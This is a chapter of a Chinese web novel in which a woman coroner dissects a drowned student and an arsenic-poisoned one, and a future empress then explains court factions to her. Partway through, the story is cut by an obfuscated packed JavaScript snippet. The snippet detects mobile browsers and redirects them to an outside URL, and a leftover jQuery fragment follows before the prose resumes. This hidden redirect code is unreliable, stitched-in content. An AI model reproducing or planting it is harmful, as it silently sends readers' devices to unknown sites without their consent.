“宋大人不止擅于建筑术和机关术,竟还懂得医理,真是博学多识,我等佩服……” 洪彬忽然吹捧起宋溪,像是想要挽回方才耽误查案给对方留下的坏印象。 宋溪听了只冷哼一声,脸色变得更差。 “洪大人,宋大人还沉浸在丧女之痛中,你说这些不合适吧?” 连一向讲话直来直去没把门的蔡琮佳都觉出几分尴尬:“言多必失啊,洪大人。” 洪彬:“……” 他匆忙逃离了这个仿佛是他唱丑角戏的地方,蔡琮佳、冯玄晖和齐慕远几人很快紧随其后,不久前还热闹喧嚣的流水池顿时只剩赵望舒三人和两具尸体。 “我会先验清屏的尸体。” 赵望舒从木箱中取出手套,她俯身靠近尸体,凝视着好友面目全非的脸庞,迫使自己摒弃个人情绪,专注在验尸之事上。 隔着手套,她小心地拨弄宋清屏紧闭的双眼,又分别掰开口鼻,捻起其中细小均匀的白色泡沫:“死者眼睑出血,口鼻处有蕈样泡沫。” 话音落下,赵望舒的动作却未停,她拂去宋清屏鬓边粘湿的碎发,指尖在额头几道狭短伤痕停留一瞬:“额间有细碎刮伤,伤痕轻微破皮渗血,可能是凶手用力抓着死者头部往下压的过程所致。” 她掀开覆盖尸身的白布,抬起宋清屏的双手仔细察看,又将尸体翻转到背部,直至检查完全身上下。 “死者左右双手的食指、中指和无名指皆有磨损擦伤,指缝间残留少许木屑,应是遇害时挣扎,双手抓蹭木桶内侧留下。” 赵望舒越说眉头皱得越紧,最后还是忍不住叹了口气:“她的腰间、手肘等部位有青紫色瘀伤,应当是凶手试图迫使死者沉入水中,她的身体各处撞击木桶,皮下血管破裂形成瘀伤。” 蔡瑾瑜目睹全程,也认真听了她的讲述,此时不由追问:“目前看来,宋小姐的死因是溺亡?” “尸表符合生前溺死的症状,但谨慎起见,同时为了确认死者有否服用过致死或致昏迷的药物,最好是能够……” 赵望舒站起身看了眼终于情绪决堤、悲戚落泪的宋溪,一时间不知该怎么说下去。 简单验尸和剖尸在她眼中都是查案的一部分,但受害者家属却未必这样想,留有全尸象征着体面,而家属希望死者安然入葬也是人之常情。 宋溪允许旁人触碰宋清屏的尸体,不代表对方同样愿意看见女儿尸身受损,换做是她的母亲和父亲,她也无法保证她们会通情达理到这一地步。 可就在她纠结为难之时,宋溪却主动发话:“我知道了,你想剖验就动手吧。” 赵望舒讶异地盯着宋溪,疑惑脱口而出:“您、您没有意见?” 她倒不像那两个官府的男仵作一样担忧宋溪事后反悔追责,但宋溪的态度实在不合常理,她唯恐对方是伤心过度以致思绪混乱冲动。 “如果可以,我希望清屏无病无灾、无伤无忧,她想为官也好,做个匠师抑或游人也罢,只须她好好活在世上。” 宋溪说这番话时语气轻缓,似有脉脉温情,但旋即她又话锋一转,言语间流露出几分狠厉:“可她已经死了,人死如灯灭,固守一具尸体有什么意义,我宁愿要真相,要谋害她的畜生付出代价!” 赵望舒默然一瞬,不禁为之肃容正色:“我与您所求相同,请您放心,我定会全力探寻真相、揪出凶犯。” 她拿起存放在木箱里的剪刀和镊子,再度蹲在尸体旁边,本以为会发颤的双手意外平稳,像以往无数次那般,缓缓割开死者颈部,充血的气管映入她眼帘,她将刀刃下压,从中挑出些许异物。 接着是肺、心脏和脾胃等器官,她也一一剖开验看。 约莫一炷香时间过去,她终于得出结论:“死者气管和脾胃内均有兰草碎渣,肺脏充水肿胀,右心淤血,可断定为溺水身亡。” “死者肠胃里食物残渣不含毒性,尸身内外亦无中毒迹象,更关键的是,死者体内同样没有迷药,意味着她是在清醒状态下……被按进水里窒息而死。” 赵望舒转头迟疑着询问身后二人是否要辨认她的说法真假,宋溪犹自沉浸在怒火中,况且终究做不到近看女儿被开膛破肚的模样,蔡瑾瑜倒是毫不避讳地靠过来。 “的确没有任何药物痕迹。” 蔡瑾瑜证实了她的结论,却也衍生出另外的疑问:“听闻案发当时,国子监学子们皆在浴堂沐浴,宋小姐既是清醒着,她就必会挣扎发出动静,而溺死需要一两字的时间,为什么没人及时听到动静去阻止呢?” 案发当时,赵望舒和其余女学子正在打骂私闯女浴堂的何泉,谁也没想到一墙之隔外的宋清屏会遭到杀害。 许菱曾经恳切请求她们隐瞒此事,但是一来发生了命案,事态变得严峻,她无法为着些许心软而耽误查案,二来此地只有她和宋溪、蔡瑾瑜,总不至于传到许菱父亲许德忠耳边,因此她坦白交代了何泉闯入浴池、引发冲突的详情。 闻言,蔡瑾瑜若有所思:“如此说来,所有女学子都有不在场证明了。” 如若凶犯在何泉闯入浴池前动手,仅是睡着而没有失去意识的宋清屏挣扎间肯定会引来周围人,所以祂只能在女学子们都被聚在浴池内外声讨何泉的那段时间内作案。 赵望舒和陆慈、许菱同为发现尸体的第一目击者,在此之前,所有女学子都不曾落单,她们确实有不在场证明。 在守卫表明没有外人进出的情况下,嫌犯便从国子监全体学子和师长缩小为男学子和一众师长,范围依旧不少。 赵望舒心知着急无用,她回身拈着针线开始缝合剖验的刀口,将宋清屏的尸体整理完毕,她才脱去满是鲜血和污垢的手套,又换上一副新的,转向旁边的另一具尸体。 邓佑面色青黑,眼睛还圆睁着,仿佛死不瞑目一般,她却不觉害怕,因而没有刻意将其双眼合上,只是先解开他的衣物,将尸表完□□露。 密密麻麻的青紫色瘀伤进入视野,她微微一怔,把尸体翻了个面,却也是同样情形,死者身上没有创口,但满是新旧伤痕。 赵望舒捏着死者唇角两侧,窥见他糜烂的口腔,随后顺着咽喉一路下刀,死者的食管、胃肠道也同样糜烂出血,心脏和肾脏呈衰竭状。 “死者体表有多处伤痕,其中并无锐器或钝器创口,应是拳脚相殴所致。” 她又让出少许位置,供蔡瑾瑜检查:“他的死因就是砒霜急性中毒,先前那杯毒酒还保留着,也可从中发现较大剂量的砒霜。” 蔡瑾瑜仔细看过邓佑的尸体,复又望向宋清屏尸身:“因为宋小姐和邓佑遇害时间相近,死因又符合同一个话本的形容,几乎所有人都已断定这是一起连环杀人案,但究竟是否如此,我觉得还要先从死者角度倒推出凶手的动机。” “我可否问一下,两名死者之间有无联系呢?” 赵望舒果断地摇了摇头:“国子监里女男学子不相为伍,清屏更是鲜少与他们来往,整个国子监她恐怕只对得上三个男学子的脸和名字。” “哪三个男学子?” 蔡瑾瑜没有失望,她敏锐地抓住新的疑点追问。 赵望舒边缝合邓佑的尸体边回答道:“沈成器与何泉,这两个人性情恶劣跋扈,酷爱欺男霸女,犯到清屏和她身边人头上,她会用她制作的机关整治他们。” “还有就是蔡骏声,他和清屏在课业上常有观点分歧,双方争吵不休,但我私以为不至于上升到恩怨的程度。” 蔡瑾瑜神色变得凝重了几分:“沈成器、何泉欺男霸女,他们欺凌的人中会不会有邓佑呢?” “这我就不太清楚了,可以问一问与邓佑走得近的学子。” 赵望舒熟练地从腰间荷包取出皂角苍术点燃,浓郁辛香在流水池周边弥漫开来,盖过了血腥味。 见她已经验尸完毕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14854081|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋溪不忍久驻在女儿尸体旁,便自顾自地说道:“我去把方才那群人喊回来。” 宋溪走远之后,赵望舒和蔡瑾瑜对视了一瞬,这还算是两人头回单独相处。 她轻咳一声,找了个话题开口道:“您和陛下怎会亲临此地?” 蔡琮佳是大理寺少卿,他来调查案件理所应当,但蔡瑾瑜和齐慕远作为即将成婚的帝后,与他一同露面却是有些令人意外。 “正值上巳,除却你们国子监举行的曲水流觞、沐兰汤之外,也素有踏青春游的习俗,而自从汝阳公主亡故,陛下成日里郁郁寡欢,太后娘娘想让他散心消愁,便命我与二兄、程太傅和襄城公主伴驾,一路往京郊踏青。” 蔡瑾瑜解释的语气平静而和缓:“大理寺传来消息时,二兄本欲告辞,陛下却坚持要一同前往,他对命案是格外感兴趣的,我们兄妹劝阻不成,只得从命,所幸陛下不愿暴露身份,让太傅、公主、金吾卫和他一起扮成官吏。” 原来她方才见到的官吏竟多数并非出自大理寺,其中还有程太傅和襄城公主? 赵望舒同太傅和公主仅在上元夜宴有一面之缘,印象不深,兼之她心思全在命案上,并没从人群中认出她们。 不过话说回来,国子监毕竟人员众多,就算看上去都是无害的学子和师长,里面也躲着个心狠手辣的凶犯,谁能想到皇帝居然会微服私访到这里来?要是有什么万一,领头的蔡家兄妹首当其冲会被牵累。 她悄然打量面色如常的蔡瑾瑜,猜想这副平静态度是不是克制后的结果,换做是她,难免要嫌弃齐慕远事多。 蔡瑾瑜很快察觉她的视线,笑着朝她问道:“为何突然用起敬称?我还以为你我算是朋友了,互称名字才对。” 赵望舒本来没觉得不对,再过一月,蔡瑾瑜就要正式成为皇后,她怎好直呼皇后的名字,但见对方坚持,她只好顺势唤道:“瑾瑜,我想睿王应当不会和陛下、公主等人同样有闲情,你可知他参与此案的目的?” 敌对双方是最关注彼此动向的,而经过上回汝阳公主遇害案,蔡氏与冯玄晖已是水火不容,蔡瑾瑜没理由为他遮掩。 果然,蔡瑾瑜略一迟疑,还是开口解释道:“睿王城府极深,他的具体目的没有人能猜到,我也只知他近来在为什么事烦心。” “太后摄政十五年,期间任用贤臣良将、收复三州失地,若为帝王,早被歌颂是千古明君,但却因没有还政于陛下,一直被暗中反对,适逢春闱和立后接踵而至,部分朝臣组成所谓的‘保皇党’,预谋鼓动文武百官奏请陛下亲政。” “他们有前例可依,陛下的曾祖父延庆帝就是借着科考收拢一批新官和他们背后家族,又因立后获得妻族支持,直接在朝会上逼迫其母明懿太后还政。” “可当今陛下不想夺权,太后又摄政日久,难以被撼动地位,保皇党心知此举未必能成,所以他们另有打算,即至少要剪除太后的羽翼,而睿王以外戚身份位列亲王,岂非是现成的靶子?” 赵望舒听后心下了然,冯玄晖封王实际上仰赖他收复西州的战功,但因为他与冯太后的姑侄关系,群臣皆视之为外戚势重的象征,尤其他失去兵权后转而在朝中结党营私,更令人忌惮。 “陛下不理政事,如若太后倒台,保皇党势力就能代替太后把控朝政,不用继续被寒门、甚至平民出身的官员挤占机会地位。” 蔡瑾瑜继续阐明其中利害,言语间不乏嘲讽:“而一旦睿王遭到贬损,他的党羽和冯家被波及,其中又可空出多少好差事,保皇党当然眼热。” 听完目前政局的暗流涌动,赵望舒心情愈发复杂,一方面她厌恶所谓的保皇党,另一方面她又担忧冯玄晖会做出的应对。 她按了按紧锁的眉心,下意识分析道:“睿王不可能坐以待毙,保皇党需要借立后和春闱的由头发难,而他先前插手立后事宜失败,便只剩下春闱——他既然亲自来到国子监,或许就打算拿科考制造事端拖延时间。” 冯玄晖指使洪彬抢夺案件主审权,难道发生在国子监里的两桩命案也牵扯到他的谋划吗? 她犹自疑虑着,旁边蔡瑾瑜却轻笑一声:“你还挺了解睿王心思的。” 赵望舒刚想回答知己知彼百战不殆,但身后已然响起一阵脚步声,她只好将话语咽回腹中,不想让她和蔡瑾瑜方才的对话泄露。